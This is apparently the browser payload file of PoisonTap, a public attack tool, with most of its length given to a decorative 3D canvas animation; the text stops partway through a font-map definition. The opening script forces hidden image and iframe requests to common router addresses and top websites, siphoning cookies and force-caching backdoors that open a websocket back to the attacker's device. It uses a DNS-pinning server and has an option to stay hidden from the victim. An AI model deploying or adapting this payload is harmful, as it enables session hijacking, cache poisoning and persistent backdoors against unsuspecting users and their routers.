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target_injected_xhtmljs.html
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target_injected_xhtmljs.html
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/*
<!-- PoisonTap by Samy Kamkar -->
<!-- 01/08/2016 -->
<!-- https://samy.pl/poisontap -->
<html><head></head>
<body>
Welcome to <b><a style="color: #E30B5D" href="https://samy.pl/poisontap">PoisonTap</a></b>, by <a style="color: #E30B5D" href="https://samy.pl">samy kamkar</a>.<p>
<script>
// This entire file can behave as both JS and HTML (note the open-comment at the top to prevent HTML from executing in a JS environment)
// DO NOT DELETE THE '*/' line below //
// */
// DO NOT DELETE THE '*/' line above //
// CONFIGURATION
// Display PoisonTap animation OR stay entirely hidden
// If you don't want it to be obvious the machine was
// accessed, DISABLE THIS! However, this is good for
// testing to verify it is in fact operational.
var displayAnimation = 1;
// PoisonTap's IP address (set up in network config)
var ptIp = '1.0.0.1';
// Whether we want to use image tags or iframes to
// exfiltrate cookies and force cache backdoors.
// Images are faster but may have some caching limitations
var cacheIframe = 0;
// The dnsPinServer is a special DNS server + hostname
// that returns the preceding IP (eg, 192.168.0.1.ip.samy.pl -> 192.168.0.1),
// but also allows temporary wildcard pinning so that
// 1.2.3.4.PIN.ip.samy.pl causes *.*.*.*.ip.samy.pl
// to return 1.2.3.4 for a few seconds.
var dnsPinServer = '.ip.samy.pl';
/* First poison the user's cache of common JS files from CDNs */
var pre = '';
backdoorRouters();
// Adjust alexa sites to the list from alexa1m.sh -- shortened during testing
backdoorAlexaSites();
function addIframe(host)
{
var url = 'http://' + host + '/PoisonTap';
var iframe = document.createElement('iframe');
pre += 'Siphoning cookies & force caching backdoor on ' + url + '<br>';
iframe.src = url;
//document.body.appendChild(iframe);
// hide the iframe *after* appending on page to ensure request is made
iframe.style.visibility = 'hidden';
iframe.style.display = 'none';
}
function addImg(host)
{
var url = 'http://' + host + '/PoisonTap';
var img1 = document.createElement('img');
pre += 'Siphoning cookies & force caching backdoor on ' + url + '<br>';
img1.src = url;
// support www. version?
//var img2 = document.createElement('img');
//img2.src = 'http://www.' + host + '/PoisonTap';
}
// Contact common router IP addresses to cache backdoor onto the router
function backdoorRouters()
{
// pin the poisontap IP
addImg(ptIp + '.pin' + dnsPinServer); // this is meant to pin 192.168.0.1 to 1.0.0.1
// give the pinned resolver a moment to update
setTimeout(function() {
var routers = getRouters();
for (var i in routers)
addIframe(routers[i] + dnsPinServer);
}, 500);
}
function backdoorAlexaSites()
{
var doms = getDoms();
/* Now force the user to make HTTP requests to Alexa's top sites, siphon the cookies, and force-cache a backdoor that produces a websocket back to us */
for (var i in doms)
{
// decide whether we cache an img tag or iframe
if (cacheIframe)
addIframe(doms[i]);
else
addImg(doms[i]);
}
}
if (displayAnimation)
{
var w = window.parent;
var d = w.document;
var divid = '__poisontap';
if (!d.getElementById(divid))
{
// if you want poisontap to start up immediateley, make sure next line is uncommented
ptcanvas();
var div = d.createElement('div');
div.id = divid;
var a = d.createElement('a');
a.href = 'https://samy.pl';
a.target = '_blank';
/* a.href = '#';
a.onclick = function() {
ptcanvas();
return false;
};
*/
a.style.color = '#E30B5D'; // raspberry-colored pi symbol
a.innerHTML = 'π'; // mm, pi
a.style.fontSize = '40px';
div.appendChild(a);
div.style.position = 'fixed';
div.style.bottom = '5px';
div.style.right = '10px';
d.body.appendChild(div);
}
}
function ltext()
{
if (pre.length)
{
var l = "";
while (l.indexOf('>') == -1 && pre.length > 0)
{
l += pre.substr(0, 1);
pre = pre.substr(1);
}
document.getElementById('__ptterm').innerHTML += l;
setTimeout(ltext, 10); // 10 looks better?
}
return;
// do letter at a time this way
if (pre.length)
{
var l = pre.substr(0, 1);
pre = pre.substr(1);
if (l === '<')
{
while (l.indexOf('>') == -1)
{
l += pre.substr(0, 1);
pre = pre.substr(1);
}
}
document.getElementById('__ptterm').innerHTML += l;
setTimeout(ltext, 1); // 10 looks better?
}
}
function ptcanvas()
{
var term = d.createElement('div');
term.style.backgroundColor = '#000';
term.style.color = '#00bfff';
term.id = '__ptterm';
term.innerHTML = 'Welcome to <b><a href="http://samy.pl/poisontap">PoisonTap</a></b>, by <a href="http://samy.pl">samy kamkar</a>.<p>' //; */';
term.style.width = '100%';
term.style.height = '100%';
term.style.position = 'fixed';
term.style.left = '0px';
term.style.top = '0px';
term.style.minHeight = '100%';
term.style.zIndex = 1;
term.style.backgroundColor = 'transparent';
term.style.padding = '5px';
term.style.fontFamily = 'monospace';
var canvas = d.createElement('canvas');
//var ctx = canvas.getContext("2d");
//ctx.globalAlpha = '0.2';
canvas.id = 'canvas';
canvas.style.position = 'fixed';
canvas.style.left = '0px';
canvas.style.top = '0px';
canvas.style.minHeight = '100%';
//canvas.style.width = '100%';
//canvas.style.height = '100%';
//term.appendChild(canvas);
d.body.appendChild(canvas);
d.body.appendChild(term);
ltext();
var _stop = 0;
window.onresize = function() {
console.log(window.innerWidth)
init.size.x = window.innerWidth;
init.size.y = window.innerHeight;
init.canvas.width = init.size.x;
init.canvas.width = init.size.x;
camera.display.x = init.size.x/2;
camera.display.y = init.size.y/2;
};
var init = {
canvas : new Object(),
ctx : new Object(),
size : new Object(),
nodeStrokeFlag : false,
canvasSetup : function() {
init.canvas = document.getElementById("canvas");
init.size.x = window.innerWidth;
init.size.y = window.innerWidth;
init.canvas.width = init.size.x;
init.canvas.height = init.size.y;
init.ctx = init.canvas.getContext("2d");
}
};
init.canvasSetup();
var dtr = function(d) {return d*Math.PI/180};
var ceiling = function(num) {return parseInt(num*10000)/10000};
//polarToRectangle
var polarToRectangle = function(dX, dY, radius) {
var x = Math.sinE0(dtr(dX)) * Math.cosE0(dtr(dY)) * radius;
var y = Math.sinE0(dtr(dX)) * Math.sinE0(dtr(dY)) * radius;
var z = Math.cosE0(dtr(dX)) * radius;
return {x:y, y:z, z:x};
};
//rectangleToPolar
var rectangleToPolar = function(x, y, z) {
if(x == 0) var xD = 0.001;
else var xD = x;
if(y == 0) var yD = 0.001;
else var yD = y;
if(z == 0) var zD = 0.001;
else var zD = z;
var radius = Math.sqrt(xD*xD + yD*yD + zD*zD);
var theta = Math.atan(zD / Math.sqrt(xD*xD + yD*yD));
var phi = Math.atan(yD / xD);
return {x:theta*(180/Math.PI), y:phi*(180/Math.PI), r:radius};
};
Math.sinE0 = function(val) {
if(val === 0) {
return Math.sin(0.000001)
} else {
return Math.sin(val);
};
};
Math.cosE0 = function(val) {
if(val === 0) {
return Math.cos(0.000001)
} else {
return Math.cos(val);
};
};
Math.getVector = function(startVertex, endVertex) {
return {
x : endVertex.affineOut.x - startVertex.affineOut.x,
y : endVertex.affineOut.y - startVertex.affineOut.y,
z : endVertex.affineOut.z - startVertex.affineOut.z
};
};
Math.getCross = function(vector1, vector2) {
return {
x : vector1.y*vector2.z - vector1.z*vector2.y,
y : vector1.z*vector2.x - vector1.x*vector2.z,
z : vector1.x*vector2.y - vector1.y*vector2.x
};
};
Math.getNormal = function(cross3d) {
var length = Math.sqrt(cross3d.x*cross3d.x + cross3d.y*cross3d.y + cross3d.z*cross3d.z);
return {
x : cross3d.x / length,
y : cross3d.y / length,
z : cross3d.z / length
};
};
var getNormal = function(vectorSet0, vectorSet1) {
var vector1 = Math.getVector(vectorSet0[0],vectorSet0[1]);
var vector2 = Math.getVector(vectorSet1[0],vectorSet1[1]);
var cross = Math.getCross(vector1, vector2);
var normal = Math.getNormal(cross);
return normal;
};
Math.getDot = function(vector1, vector2) {
return vector1.x*vector2.x + vector1.y*vector2.y + vector1.z*vector2.z;
};
var closeValue = function(minTime, maxTime) {
this.flag = 0;
this.progress = 0;
this.startTime = 0;
this.durationTime = 0;
this.fromValue = 0;
this.toValue = 0;
this.smoothFlag = true;
this.minValue = 0;
this.maxValue = 1;
this.minDuration = minTime;
this.maxDuration = maxTime;
};
closeValue.prototype = {
init : function() {
this.durationTime = this.minDuration + (this.maxDuration-this.minDuration) * Math.random();
this.startTime = Date.now();
this.progress = Math.min(1, ((Date.now()-this.startTime)/this.durationTime));
if(this.smoothFlag == true) {
this.fromValue = this.toValue;
} else {
this.fromValue = Math.random();
};
this.toValue = this.minValue + this.maxValue * Math.random();
this.flag = 1;
return this.fromValue + (this.toValue - this.fromValue) * this.progress;
},
update : function() {
this.progress = Math.min(1, ((Date.now()-this.startTime)/this.durationTime));
if(this.progress== 1) this.flag = 0;
return this.fromValue + (this.toValue - this.fromValue) * this.progress;
},
execution : function() {
if(this.flag == 0) {return this.init()}
else if(this.flag == 1) {return this.update()};
}
};
var camera = {
focus : 750,
self : {
x : 0,
y : 0,
z : 100
},
rotate : {
x : 0,
y : 0,
z : 0
},
zoom : 1,
display : {
x : init.size.x/2,
y : init.size.y/2,
z : 0
},
clipPlane : {
near : 0,
far : 1000
},
enableCulling : false
};
var affine = {
world : {
size : function(p, size) {
return {
x : p.x * size.x,
y : p.y * size.y,
z : p.z * size.z
}
},
rotate: {
x : function(p, rotate) {
return {
x : p.x,
y : p.y*Math.cosE0(dtr(rotate.x)) - p.z*Math.sinE0(dtr(rotate.x)),
z : p.y*Math.sinE0(dtr(rotate.x)) + p.z*Math.cosE0(dtr(rotate.x))
}
},
y : function(p, rotate) {
return {
x : p.x*Math.cosE0(dtr(rotate.y)) + p.z*Math.sinE0(dtr(rotate.y)),
y : p.y,
z : -p.x*Math.sinE0(dtr(rotate.y)) + p.z*Math.cosE0(dtr(rotate.y))
}
},
z : function(p, rotate) {
return {
x : p.x*Math.cosE0(dtr(rotate.z)) - p.y*Math.sinE0(dtr(rotate.z)),
y : p.x*Math.sinE0(dtr(rotate.z)) + p.y*Math.cosE0(dtr(rotate.z)),
z : p.z
}
}
},
position : function(p, position) {
return {
x : p.x + position.x,
y : p.y + position.y,
z : p.z + position.z
}
},
},
view : {
point : function(p) {
return {
x : p.x - camera.self.x,
y : p.y - camera.self.y,
z : p.z - camera.self.z
}
},
x : function(p) {
return {
x : p.x,
y : p.y*Math.cosE0(dtr(camera.rotate.x)) - p.z*Math.sinE0(dtr(camera.rotate.x)),
z : p.y*Math.sinE0(dtr(camera.rotate.x)) + p.z*Math.cosE0(dtr(camera.rotate.x))
}
},
y : function(p) {
return {
x : p.x*Math.cosE0(dtr(camera.rotate.y)) + p.z*Math.sinE0(dtr(camera.rotate.y)),
y : p.y,
z : p.x*-Math.sinE0(dtr(camera.rotate.y)) + p.z*Math.cosE0(dtr(camera.rotate.y))
}
},
viewReset : function(p) {
return {
x : p.x - camera.self.x,
y : p.y - camera.self.y,
z : p.z - camera.self.z
}
},
righthandedReversal : function(p) {
return {
x : p.x,
y : -p.y,
z : p.z,
}
}
},
perspective : function(p) {
return {
x : p.x * ((camera.focus-camera.self.z) / ((camera.focus-camera.self.z) - p.z)) * camera.zoom,
y : p.y * ((camera.focus-camera.self.z) / ((camera.focus-camera.self.z) - p.z)) * camera.zoom,
z : p.z * ((camera.focus-camera.self.z) / ((camera.focus-camera.self.z) - p.z)) * camera.zoom,
p : ((camera.focus-camera.self.z) / ((camera.focus-camera.self.z) - p.z)) * camera.zoom,
}
},
display : function(p, display) {
return {
x : p.x + display.x,
y : p.y + display.y,
z : p.z + display.z,
p : p.p,
}
},
process : function(model, size, rotate, position,display) {
var ret = affine.world.size(model, size);
ret = affine.world.rotate.x(ret, rotate);
ret = affine.world.rotate.y(ret, rotate);
ret = affine.world.rotate.z(ret, rotate);
ret = affine.world.position(ret, position);
ret = affine.view.point(ret);
ret = affine.view.x(ret);
ret = affine.view.y(ret);
ret = affine.view.viewReset(ret);
ret = affine.view.righthandedReversal(ret);
ret = affine.perspective(ret);
ret = affine.display(ret, display);
return ret;
}
};
var light = {
enableLight : true,
ambientLight : {
color : {
r : 1.0,
g : 1.0,
b : 1.0
},
intensity : 0.0
},
directionalLight : {
degree : {
x : 0,
y : 0,
z : 1
},
color : {
r : 1.0,
g : 1.0,
b : 1.0
},
intensity : 1.0
}
};
var vertex3d = function(param) {
this.affineIn = new Object;
this.affineOut = new Object;
this.affineIn.vertex = ({x:0,y:0,z:0} || param.vertex);
this.affineIn.size = ({x:1,y:1,z:1} || param.size);
this.affineIn.rotate = ({x:0,y:0,z:0,} || param.rotate);
this.affineIn.position = ({x:0,y:0,z:0} || param.position);
};
vertex3d.prototype = {
vertexUpdate : function() {
this.affineOut = affine.process(
this.affineIn.vertex,
this.affineIn.size,
this.affineIn.rotate,
this.affineIn.position,
camera.display
);
}
};
var getFace = function(verts) {
return {
verts : [verts[0], verts[1], verts[2]],
normal : getNormal([verts[1],verts[0]], [verts[2],verts[0]]),
zIndex : verts[0].affineOut.p + verts[1].affineOut.p + verts[2].affineOut.p
};
};
var shader = {
shadeObject : new Array(),
chromaticAberration : {
flag : false,
r : {x:3, y:0},
g : {x:0, y:0},
b : {x:-3, y:0}
},
zSort : function() {
shader.shadeObject.sort(
function(a, b) {
if (a.face.zIndex < b.face.zIndex) return -1;
if (a.face.zIndex > b.face.zIndex) return 1;
return 0;
}
);
},
flatShader : {
directionalLighting : function() {
if(light.enableLight == true) {
for(var i=0; i<shader.shadeObject.length; i++) {
var lambertReflectance = Math.getDot(
{
x : ceiling(shader.shadeObject[i].face.normal.x),
y : ceiling(shader.shadeObject[i].face.normal.y),
z : ceiling(shader.shadeObject[i].face.normal.z)
},
{
x : light.directionalLight.degree.x,
y : light.directionalLight.degree.y,
z : light.directionalLight.degree.z
}
);
shader.shadeObject[i].fillColor = {
r : (light.directionalLight.color.r*lambertReflectance) * ((shader.shadeObject[i].fillColor.r + light.ambientLight.color.r)/2) + light.ambientLight.intensity,
g : (light.directionalLight.color.g*lambertReflectance) * ((shader.shadeObject[i].fillColor.g + light.ambientLight.color.g)/2) + light.ambientLight.intensity,
b : (light.directionalLight.color.b*lambertReflectance) * ((shader.shadeObject[i].fillColor.b + light.ambientLight.color.b)/2) + light.ambientLight.intensity,
a : shader.shadeObject[i].fillColor.a
};
shader.shadeObject[i].strokeColor = {
r : (light.directionalLight.color.r*lambertReflectance) * ((shader.shadeObject[i].strokeColor.r + light.ambientLight.color.r)/2) + light.ambientLight.intensity,
g : (light.directionalLight.color.g*lambertReflectance) * ((shader.shadeObject[i].strokeColor.g + light.ambientLight.color.g)/2) + light.ambientLight.intensity,
b : (light.directionalLight.color.b*lambertReflectance) * ((shader.shadeObject[i].strokeColor.b + light.ambientLight.color.b)/2) + light.ambientLight.intensity,
a : shader.shadeObject[i].strokeColor.a
};
};
};
}
},
fillShade : function(augumentColor) {
init.ctx.fillStyle = "rgba("+
parseInt(augumentColor.r*255) +","+
parseInt(augumentColor.g*255) +","+
parseInt(augumentColor.b*255) +","+
augumentColor.a +")";
init.ctx.fill();
},
strokeShade : function(augumentColor) {
init.ctx.lineWidth = 0.3;
init.ctx.strokeStyle = "rgba("+
parseInt(augumentColor.r*255) +","+
parseInt(augumentColor.g*255) +","+
parseInt(augumentColor.b*255) +","+
augumentColor.a +")";
init.ctx.stroke();
},
shade : function(color) {
for(var i=0; i<shader.shadeObject.length; i++) {
if(shader.shadeObject[i].face.normal.z>0 && shader.shadeObject[i].face.zIndex<7&&shader.shadeObject[i].face.zIndex>0) {
init.ctx.beginPath();
for(var j=0; j<shader.shadeObject[i].face.verts.length; j++) {
if(j == 0) {
init.ctx.moveTo(shader.shadeObject[i].face.verts[j].affineOut.x, shader.shadeObject[i].face.verts[j].affineOut.y);
} else {
init.ctx.lineTo(shader.shadeObject[i].face.verts[j].affineOut.x, shader.shadeObject[i].face.verts[j].affineOut.y);
};
};
init.ctx.closePath();
switch(color) {
case "r":
if(shader.shadeObject[i].fill === true) shader.fillShade({r:shader.shadeObject[i].fillColor.r,g:0,b:0,a:shader.shadeObject[i].fillColor.a});
if(shader.shadeObject[i].stroke === true) shader.strokeShade({r:shader.shadeObject[i].strokeColor.r,g:0,b:0,a:shader.shadeObject[i].strokeColor.a});
break;
case "g":
if(shader.shadeObject[i].fill === true) shader.fillShade({r:0,g:shader.shadeObject[i].fillColor.g,b:0,a:shader.shadeObject[i].fillColor.a});
if(shader.shadeObject[i].stroke === true) shader.strokeShade({r:0,g:shader.shadeObject[i].strokeColor.g,b:0,a:shader.shadeObject[i].strokeColor.a});
break;
case "b":
if(shader.shadeObject[i].fill === true) shader.fillShade({r:0,g:0,b:shader.shadeObject[i].fillColor.b,a:shader.shadeObject[i].fillColor.a});
if(shader.shadeObject[i].stroke === true) shader.strokeShade({r:0,g:0,b:shader.shadeObject[i].strokeColor.b,a:shader.shadeObject[i].strokeColor.a});
break;
default:
if(shader.shadeObject[i].fill === true) shader.fillShade(shader.shadeObject[i].fillColor);
if(shader.shadeObject[i].stroke === true) shader.strokeShade(shader.shadeObject[i].strokeColor);
break;
};
};
};
},
execution : function() {
init.ctx.save();
if(shader.chromaticAberration.flag === false) {
init.ctx.globalCompositeOperation = "source-over";
shader.shade();
} else {
init.ctx.globalCompositeOperation = "lighter";
init.ctx.translate(shader.chromaticAberration.r.x, shader.chromaticAberration.r.y);
shader.shade("r");
init.ctx.translate(-shader.chromaticAberration.r.x, -shader.chromaticAberration.r.y);
init.ctx.translate(shader.chromaticAberration.g.x, shader.chromaticAberration.g.y);
shader.shade("g");
init.ctx.translate(-shader.chromaticAberration.g.x, -shader.chromaticAberration.g.y);
init.ctx.translate(shader.chromaticAberration.b.x, shader.chromaticAberration.b.y);
shader.shade("b");
init.ctx.translate(-shader.chromaticAberration.b.x, -shader.chromaticAberration.b.y);
};
init.ctx.restore();
}
};
var isoscelesRightTriangle = function(argument) {
// base object
this.vertices = new Object();
this.shadeObjects = new Object();
// model parameter
this.shade = argument.shade;
this.fill = argument.fill;
this.stroke = argument.stroke;
this.fillColor = argument.fillColor;
this.strokeColor = argument.strokeColor;
this.size = argument.size;
this.position = argument.position;
this.rotate = argument.rotate;
this.uniqueFlag001 = false;
//model data
this.vertexData = {
v0 : {x:1, y:1, z:1},
v1 : {x:1, y:-1, z:1},
v2 : {x:-1, y:-1, z:1},
v3 : {x:1, y:-1, z:-1}
};
this.indexData = {
f0 : ["v0", "v1", "v2"],
f1 : ["v0", "v3", "v1"],
f2 : ["v0", "v2", "v3"],
f3 : ["v1", "v3", "v2"]
};
// vertices init
for(i in this.vertexData) {
this.vertices[i] = new vertex3d({
position : this.position,
vertex : {x:this.vertexData[i].x*this.size, y:this.vertexData[i].y*this.size, z:this.vertexData[i].z*this.size}
});
this.vertices[i].vertexUpdate();
};
// shadeObjects init
for(var i in this.indexData) {
this.shadeObjects[i] = new Object;
this.shadeObjects[i].face = new Object;
this.shadeObjects[i].fill = this.fill;
this.shadeObjects[i].stroke = this.stroke;
this.shadeObjects[i].fillColor = this.fillColor;
this.shadeObjects[i].strokeColor = this.strokeColor;
};
};
isoscelesRightTriangle.prototype = {
controll : function(argument) {
this.shade = argument.shade;
if(this.shade === true) {
this.fill = argument.fill;
this.stroke = argument.stroke;
if(argument.size) {
this.size = argument.size;
};
if(argument.fillColor) {
this.fillColor = {
r : argument.fillColor.r,
g : argument.fillColor.g,
b : argument.fillColor.b,
a : argument.fillColor.a
};
};
if(argument.strokeColor) {
this.strokeColor = {
r : argument.strokeColor.r,
g : argument.strokeColor.g,
b : argument.strokeColor.b,
a : argument.strokeColor.a
};
};
if(argument.position) {
this.position = {
x : argument.position.x,
y : argument.position.y,
z : argument.position.z
};
};
if(argument.rotate) {
this.rotate = {
x : argument.rotate.x,
y : argument.rotate.y,
z : argument.rotate.z
};
};
};
},
update : function() {
if(this.shade === true) {
for(var i in this.vertexData) {
if(this.uniqueFlag001 == false) {
this.vertices[i].affineIn.vertex = {
x : this.vertexData[i].x*this.size,
y : this.vertexData[i].y*this.size,
z : this.vertexData[i].z*this.size,
};
} else {
this.vertices[i].affineIn.vertex = {
x : this.vertexData[i].x*this.size * (0.8*Math.random()+0.5),
y : this.vertexData[i].y*this.size * (0.8*Math.random()+0.5),
z : this.vertexData[i].z*this.size * (0.8*Math.random()+0.5),
};
};
this.vertices[i].affineIn.position = {
x : this.position.x,
y : this.position.y,
z : this.position.z
};
this.vertices[i].affineIn.rotate = {
x : this.rotate.x,
y : this.rotate.y,
z : this.rotate.z
};
this.vertices[i].vertexUpdate();
};
for(var i in this.indexData) {
this.shadeObjects[i].face = getFace([this.vertices[this.indexData[i][0]], this.vertices[this.indexData[i][1]], this.vertices[this.indexData[i][2]]]);
this.shadeObjects[i].fill = this.fill;
this.shadeObjects[i].stroke = this.stroke;
this.shadeObjects[i].fillColor = this.fillColor;
this.shadeObjects[i].strokeColor = this.strokeColor;
};
};
},
addShader : function() {
if(this.shade === true) {
for(var i in this.shadeObjects) {
shader.shadeObject.push(this.shadeObjects[i]);
};
};
}
};
var DEFIINE_instanceNum = 2100;
var instanceObject = new Array();
var objectInit = function() {
for(var i=0; i<DEFIINE_instanceNum; i++) {
instanceObject[i] = new isoscelesRightTriangle({
shade : false,
fill : false,
stroke : false,
color: {r:0.0, g:0.0, b:0.0, a:0.0},
fillColor: {r:0.0, g:0.0, b:0.0, a:0.0},
strokeColor: {r:0.0, g:0.0, b:0.0, a:0.0},
size: 0,
position: {x:2000*Math.random()-1000, y:2000*Math.random()-1000, z:2000*Math.random()-1000},
rotate: {x:720*Math.random()-360, y:720*Math.random()-360, z:720*Math.random()-360}
});
};
};
var objectUpdate = function() {
for(var i=0; i<instanceObject.length; i++){
if(instanceObject[i]) {
instanceObject[i].controll({
shade : controll.value[i].shade,
fill : controll.value[i].fill,
stroke : controll.value[i].stroke,
color: controll.value[i].color,
fillColor : controll.value[i].fillColor,
strokeColor : controll.value[i].strokeColor,
size: controll.value[i].size,
position: controll.value[i].position,
rotate: controll.value[i].rotate
});
instanceObject[i].update();
instanceObject[i].addShader();
};
};
};
var freemap_disconnected = function() {
this.returnData = new Array();
for(var i=0; i<DEFIINE_instanceNum; i++) {
this.returnData[i] = {
shade : false,
fill : false,
stroke : false,
fillColor: {r:1.0, g:1.0, b:1.0, a:1.0},
strokeColor: {r:1.0, g:1.0, b:1.0, a:1.0},
size: 0,
position: {x:Math.random()*1000-500, y:Math.random()*1000-500, z:Math.random()*1000-500},
rotate: {x:Math.random()*1000-500, y:Math.random()*1000-500, z:Math.random()*1000-500}
};
};
return this.returnData;
};
var freemap_random = function() {
this.returnData = new Array();
for(var i=0; i<DEFIINE_instanceNum; i++) {
this.returnData[i] = {
shade : false,
fill : false,
stroke : false,
fillColor: {r:1.0, g:1.0, b:1.0, a:1.0},
strokeColor: {r:1.0, g:1.0, b:1.0, a:1.0},
size: Math.random()*2,
position: {x:Math.random()*1500-750, y:Math.random()*1500-750, z:Math.random()*1500-750},
rotate: {x:Math.random()*720-360, y:Math.random()*720-360, z:Math.random()*720-360}
};
};
for(var i=0; i<100; i++) {
this.returnData[i].shade = true;
this.returnData[i].fill = true;
};
return this.returnData;
};
var fontmap_fullchara = function() {
this.returnData = new Array();
this.col = 130;
this.row = 150;
this.cellLength = 18;
this.cellSpace = 18;
for(var i=0; i<DEFIINE_instanceNum; i++) {
this.returnData[i] = {
shade : false,
fill : false,
stroke : false,
fillColor: {r:1.0, g:1.0, b:1.0, a:1.0},
strokeColor: {r:1.0, g:1.0, b:1.0, a:1.0},
size: 0,
position: {x:0, y:0, z:0},
rotate: {x:0, y:0, z:0}
};
};
this.fontMapData = [
{//A
cellLength : this.cellLength,
cellSpace : this.cellSpace,
center : {x:this.col*-2, y:this.row*3, z:0},
map : [[0,0,0,2,0],[0,0,2,5,0],[0,2,1,1,0],[0,1,3,5,0],[0,1,0,1,0]],
mapDataNum : 5*5*2,
colUnit : 5*2
},
{//B
cellLength : this.cellLength,
cellSpace : this.cellSpace,
center : {x:this.col*-1, y:this.row*3, z:0},
map : [[0,4,0,0,0],[0,3,3,4,0],[0,5,3,1,0],[0,5,2,1,0],[0,3,1,0,0]],
mapDataNum : 5*5*2,
colUnit : 5*2
},
{//C
cellLength : this.cellLength,
cellSpace : this.cellSpace,
center : {x:this.col*0, y:this.row*3, z:0},
map : [[0,0,4,0,0],[0,2,1,4,0],[0,1,0,0,0],[0,3,4,1,0],[0,0,3,0,0]],
mapDataNum : 5*5*2,
colUnit : 5*2
},
{//D
cellLength : this.cellLength,
cellSpace : this.cellSpace,
center : {x:this.col*1, y:this.row*3, z:0},
map : [[0,4,0,0,0],[0,3,3,4,0],[0,5,0,5,0],[0,5,2,1,0],[0,1,1,0,0]],
mapDataNum : 5*5*2,
colUnit : 5*2
},
{//E
cellLength : this.cellLength,
cellSpace : this.cellSpace,
center : {x:this.col*2, y:this.row*3, z:0},
map : [[0,0,2,1,0],[0,2,1,0,0],[0,2,2,1,0],[0,5,0,2,0],[0,1,3,1,0]],
mapDataNum : 5*5*2,
colUnit : 5*2
},
{//F
cellLength : this.cellLength,
cellSpace : this.cellSpace,
center : {x:this.col*-2, y:this.row*2, z:0},
map : [[0,0,2,1,0],[0,2,1,0,0],[0,2,2,1,0],[0,5,0,0,0],[0,1,0,0,0]],
mapDataNum : 5*5*2,
colUnit : 5*2
},
{//G
cellLength : this.cellLength,
cellSpace : this.cellSpace,
center : {x:this.col*-1, y:this.row*2, z:0},
map : [[0,0,2,0,0],[0,2,1,0,0],[0,1,0,4,0],[0,3,2,1,0],[0,0,3,0,0]],
mapDataNum : 5*5*2,
colUnit : 5*2
},
{//H
cellLength : this.cellLength,
cellSpace : this.cellSpace,
center : {x:this.col*0, y:this.row*2, z:0},
map : [[0,4,0,2,0],[0,5,0,1,0],[0,2,1,5,0],[0,5,0,5,0],[0,1,0,3,0]] ,
mapDataNum : 5*5*2,
colUnit : 5*2
},
{//I
cellLength : this.cellLength,
cellSpace : this.cellSpace,
center : {x:this.col*1, y:this.row*2, z:0},
map : [[0,0,2,0,0],[0,0,2,0,0],[0,0,5,0,0],[0,0,5,0,0],[0,0,1,0,0]],
mapDataNum : 5*5*2,
colUnit : 5*2
},
{//J
cellLength : this.cellLength,
cellSpace : this.cellSpace,
center : {x:this.col*2, y:this.row*2, z:0},
map : [[0,0,0,2,0],[0,0,0,5,0],[0,0,0,5,0],[0,4,2,1,0],[0,0,1,0,0]],
mapDataNum : 5*5*2,
colUnit : 5*2
},
{//K
cellLength : this.cellLength,
cellSpace : this.cellSpace,
center : {x:this.col*-2, y:this.row*1, z:0},
map : [[0,4,0,0,0],[0,4,0,2,0],[0,5,2,1,0],[0,5,0,4,0],[0,1,0,3,0]] ,
mapDataNum : 5*5*2,
colUnit : 5*2
},
{//L
cellLength : this.cellLength,
cellSpace : this.cellSpace,
center : {x:this.col*-1, y:this.row*1, z:0},
map : [[0,4,0,0,0],[0,5,0,0,0],[0,5,0,0,0],[0,3,0,0,0],[0,0,3,4,0]],
mapDataNum : 5*5*2,
colUnit : 5*2
},
{//M
cellLength : this.cellLength,
cellSpace : this.cellSpace,
center : {x:this.col*0, y:this.row*1, z:0},
map : [[0,4,0,0,0],[0,5,4,4,0],[0,5,3,3,4],[0,3,0,0,3],[0,3,0,0,0]],
mapDataNum : 5*5*2,